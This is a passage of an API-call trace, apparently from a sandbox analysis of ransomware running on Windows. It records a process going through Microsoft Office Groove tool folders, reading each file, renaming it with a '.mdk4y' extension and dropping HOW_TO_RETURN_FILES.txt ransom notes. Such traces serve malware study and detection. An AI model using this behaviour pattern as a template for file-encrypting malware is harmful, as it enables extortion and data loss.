lpPerformanceCount=0x37db9c*=1829728800000) returned 1 [0222.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829728800000) returned 1 [0222.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js.mdk4y")) returned 1 [0222.059] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.059] AreFileApisANSI () returned 1 [0222.059] GetACP () returned 0x4e4 [0222.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hierarchy.xsl", cchWideChar=13, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="Hierarchy.xsl\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dc04) returned 13 [0222.059] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0222.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829729000000) returned 1 [0222.060] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc04, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc04*=0x157e, lpOverlapped=0x0) returned 1 [0222.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829729600000) returned 1 [0222.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829729600000) returned 1 [0222.066] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl.mdk4y")) returned 1 [0222.067] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.067] AreFileApisANSI () returned 1 [0222.067] GetACP () returned 0x4e4 [0222.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MINUS.GIF", cchWideChar=9, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="MINUS.GIF.xsl", lpUsedDefaultChar=0x37dc04) returned 9 [0222.068] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0222.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829729800000) returned 1 [0222.069] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc04, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc04*=0x345, lpOverlapped=0x0) returned 1 [0222.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829730000000) returned 1 [0222.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829730000000) returned 1 [0222.070] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif.mdk4y")) returned 1 [0222.071] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.071] AreFileApisANSI () returned 1 [0222.071] GetACP () returned 0x4e4 [0222.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PLUS.GIF", cchWideChar=8, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="PLUS.GIFF", lpUsedDefaultChar=0x37dc04) returned 8 [0222.071] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0222.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829730200000) returned 1 [0222.072] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc04, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc04*=0x349, lpOverlapped=0x0) returned 1 [0222.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829731000000) returned 1 [0222.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829731000000) returned 1 [0222.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif.mdk4y")) returned 1 [0222.082] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.082] AreFileApisANSI () returned 1 [0222.082] GetACP () returned 0x4e4 [0222.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPACER.GIF", cchWideChar=10, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="SPACER.GIFxsl", lpUsedDefaultChar=0x37dc04) returned 10 [0222.082] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0222.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829731300000) returned 1 [0222.083] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc04, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc04*=0x327, lpOverlapped=0x0) returned 1 [0222.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829731400000) returned 1 [0222.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829731500000) returned 1 [0222.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif.mdk4y")) returned 1 [0222.086] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 0 [0222.086] FindClose (in: hFindFile=0x6ab490 | out: hFindFile=0x6ab490) returned 1 [0222.086] AreFileApisANSI () returned 1 [0222.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a26c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 153 [0222.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d93c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0222.087] GetFileType (hFile=0x138) returned 0x1 [0222.088] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0222.088] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0222.088] AreFileApisANSI () returned 1 [0222.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69fb78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 147 [0222.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0222.089] GetFileType (hFile=0x134) returned 0x1 [0222.090] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 0 [0222.090] FindClose (in: hFindFile=0x6ab410 | out: hFindFile=0x6ab410) returned 1 [0222.090] AreFileApisANSI () returned 1 [0222.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0222.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37da54, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0222.091] GetFileType (hFile=0x13c) returned 0x1 [0222.092] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.092] AreFileApisANSI () returned 1 [0222.092] GetACP () returned 0x4e4 [0222.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectToolsetIconImages.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectToolsetIconImages.jpg9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 28 [0222.092] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829732200000) returned 1 [0222.093] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4f0a, lpOverlapped=0x0) returned 1 [0222.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735100000) returned 1 [0222.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735100000) returned 1 [0222.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg.mdk4y")) returned 1 [0222.123] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.123] AreFileApisANSI () returned 1 [0222.123] GetACP () returned 0x4e4 [0222.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectToolsetIconImagesMask.bmp", cchWideChar=32, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectToolsetIconImagesMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 32 [0222.124] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735500000) returned 1 [0222.125] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2338, lpOverlapped=0x0) returned 1 [0222.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735600000) returned 1 [0222.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735600000) returned 1 [0222.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp.mdk4y")) returned 1 [0222.127] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.127] AreFileApisANSI () returned 1 [0222.127] GetACP () returned 0x4e4 [0222.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SplashImage.jpg", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SplashImage.jpgconImagesMask.bmp", lpUsedDefaultChar=0x37dda8) returned 15 [0222.127] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735800000) returned 1 [0222.128] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5f00, lpOverlapped=0x0) returned 1 [0222.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735900000) returned 1 [0222.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829735900000) returned 1 [0222.130] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg.mdk4y")) returned 1 [0222.131] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.131] AreFileApisANSI () returned 1 [0222.131] GetACP () returned 0x4e4 [0222.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SplashImageMask.bmp", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SplashImageMask.bmpmagesMask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0222.131] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829736100000) returned 1 [0222.131] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x14078, lpOverlapped=0x0) returned 1 [0222.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829737600000) returned 1 [0222.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829737600000) returned 1 [0222.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp.mdk4y")) returned 1 [0222.149] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.149] AreFileApisANSI () returned 1 [0222.149] GetACP () returned 0x4e4 [0222.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TABMASK.BMP", cchWideChar=11, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TABMASK.BMPMask.bmp", lpUsedDefaultChar=0x37dda8) returned 11 [0222.149] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738000000) returned 1 [0222.150] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x122, lpOverlapped=0x0) returned 1 [0222.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738100000) returned 1 [0222.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738100000) returned 1 [0222.152] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabmask.bmp.mdk4y")) returned 1 [0222.153] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.153] AreFileApisANSI () returned 1 [0222.153] GetACP () returned 0x4e4 [0222.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TABOFF.JPG", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TABOFF.JPGP", lpUsedDefaultChar=0x37dda8) returned 10 [0222.153] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738300000) returned 1 [0222.153] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x9b6, lpOverlapped=0x0) returned 1 [0222.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738500000) returned 1 [0222.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829738500000) returned 1 [0222.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg.mdk4y")) returned 1 [0222.156] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.156] AreFileApisANSI () returned 1 [0222.156] GetACP () returned 